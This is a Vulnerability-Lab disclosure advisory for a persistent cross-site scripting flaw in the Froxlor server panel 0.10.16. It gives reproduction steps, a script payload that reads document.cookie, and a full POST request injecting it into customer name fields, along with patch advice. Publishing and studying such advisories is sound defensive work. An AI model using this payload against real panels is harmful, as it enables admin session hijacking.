froxlor froxlor server management panel 0.10.16 persistent crosssite scripting

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froxlor froxlor server management panel 0.10.16 persistent crosssite scripting Code Code...
				
# Exploit Title: Froxlor Froxlor Server Management Panel 0.10.16 - Persistent Cross-Site Scripting # Exploit Author: Vulnerability-Lab # Date: 2020-11-12 # Vendor Homepage: https://froxlor.org/ # Software Link: https://froxlor.org/download/ # Version: 0.10.16 Document Title: =============== Froxlor v0.10.16 CP - (Customer) Persistent Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2241 Release Date: ============= 2020-11-12 Vulnerability Laboratory ID (VL-ID): ==================================== 2241 Common Vulnerability Scoring System: ==================================== 5.2 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Froxlor Server Management Panel, the lightweight server management software for your needs. Developed by experienced server administrators, this open source (GPL) panel simplifies the effort of managing your hosting. Manage reseller ressources and limit what the customers may use in the dedicated customerpanel. MySQL management, Directory protection & settings management. (Copy of the Homepage: https://froxlor.org/index.php & https://froxlor.org/download/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the Froxlor Server Management Panel v0.10.16. Affected Product(s): ==================== Froxlor Team Product: Froxlor v0.10.16 (Stable) - Server Management Panel (Control Panel) Affected Packages: Gentoo, Debian & Ubuntu Vulnerability Disclosure Timeline: ================================== 2020-05-01: Researcher Notification & Coordination (Security Researcher) 2020-05-02: Vendor Notification (Security Department) 2020-05-13: Vendor Response/Feedback (Security Department) 2020-10-12: Vendor Fix/Patch (Service Developer Team) ****-**-**: Security Acknowledgements (Security Department) 2020-11-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the Froxlor Server Management Panel v0.10.16 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent cross site web vulnerability is located in the `username`, `name` and `firstname` input fields of the customer add or registration module. Remote attackers are able to add customers with malicious script code as firstname or name to manipulate in the backend the `admin_customers.php` and `customers.php` files. The injection point is the registration or customer add/edit module and the execution occurs on preview of the traffic module in the admin backend. The request method to inject is POST and the attack vector is persistent located on the application-side. In a valid attack case the remote attacker uses a customer or reseller account to inject the payload as name to provoke an execute in the insecure backend module. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Input(s): [+] Username [+] Name [+] Firstname Vulnerable Module(s): [+] Customers Vulnerable Parameter(s): [+] name [+] firstname Affected File(s): [+] admin_customers.php Proof of Concept (PoC): ======================= The persistent input validation vulnerability can be exploited by remote attackers with low privilege user account and with low user interaction. For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Register or login with a low privilege user account 2. Open the profile account section 3. Change the name and firstname or include in the registration process Note: Inject test payload to vulnerable marked input fields 4. Save or submit the input via form 5. Wait until an admin or higher privileged user role opens the traffic stats to execute 6. Successful reproduce of the persistent input validation web vulnerability! PoC: Payload (Exploitation) test%20>"<script alert(document.cookie)></script>div style=1 PoC: Vulnerable Sources (Execution Points) [admin_customers.php or customers.php to admin_traffic.php via Name & Firstname] <tr role="row"> <td>>">test%20>"<script alert(document.cookie)></script>div style=1[MALICIOUS SCRIPT CODE EXECUTION POINT!]&nbsp; <a href="admin_customers.php?s=9e20410f4871894db51f11258d5c4b3b&target=traffic&page=customers&action=su&id=2" rel="external" target="_blank">[Details]</a></td> <td><small>-</small></td> </tr><tr role="row"> --- PoC Session Logs [POST] --- (Reseller Account to Admin) https://froxlor.localhost:8080/admin_customers.php?s=e3b54c0284e4beca6fd06fed6c86ee20 Host: froxlor.localhost:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 879 Origin: https://froxlor.localhost:8080 Connection: keep-alive Referer: https://froxlor.localhost:8080/admin_customers.php?s=e3b54c0284e4beca6fd06fed6c86ee20&page=customers&action=add Cookie: PHPSESSID=c34ist63ukv1vq9vt5m1hfumpo s=e3b54c0284e4beca6fd06fed6c86ee20&page=customers&action=add&send=send& new_loginname=test1%20>"<script alert(document.cookie)></script>div style=1&createstdsubdomain=0,1& store_defaultindex=0,1&new_customer_password=KwhyqgzvPo& new_customer_password_suggestion=KwhyqgzvPo&sendpassword=0,1&def_language=English&api_allowed=0,1& name=btest%20>"<script alert(document.cookie)></script>div style=1& firstname=ctest%20>"<script alert(document.cookie)></script>div style=1&gender=0& company=&street=&zipcode=&city=&phone=&fax=&email=trest@aol.de&customernumber=& custom_notes=&custom_notes_show=0&diskspace=0&traffic=0&subdomains=0&emails=0&email_accounts=0& email_forwarders=0&email_imap=0,1&email_pop3=0,1&ftps=0&mysqls=0&phpenabled=0,1&allowed_phpconfigs[]=1& perlenabled=0&dnsenabled=0&logviewenabled=0 - POST: HTTP/2.0 200 OK server: Apache vary: Accept-Encoding content-encoding: gzip content-length: 1393 content-type: text/html; charset=UTF-8 Reference(s): https://froxlor.localhost:8080/ https://froxlor.localhost:8080/admin_traffic.php https://froxlor.localhost:8080/admin_traffic.php?s=[x]&page=customers Solution - Fix & Patch: ======================= The vulnerability can be patched by follwing the next steps ... 1. Validate and escape the content of the vulnerable username, name and firstname input fields 2. Restrict the input fields and disallow specialchars on inputs to filter 3. Parse the two output location and escape or secure encode the content 4. Encode in the edit formular the results on check Security Risk: ============== The security risk of the persistent validation web vulnerability in the web-application is estimated as medium. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com


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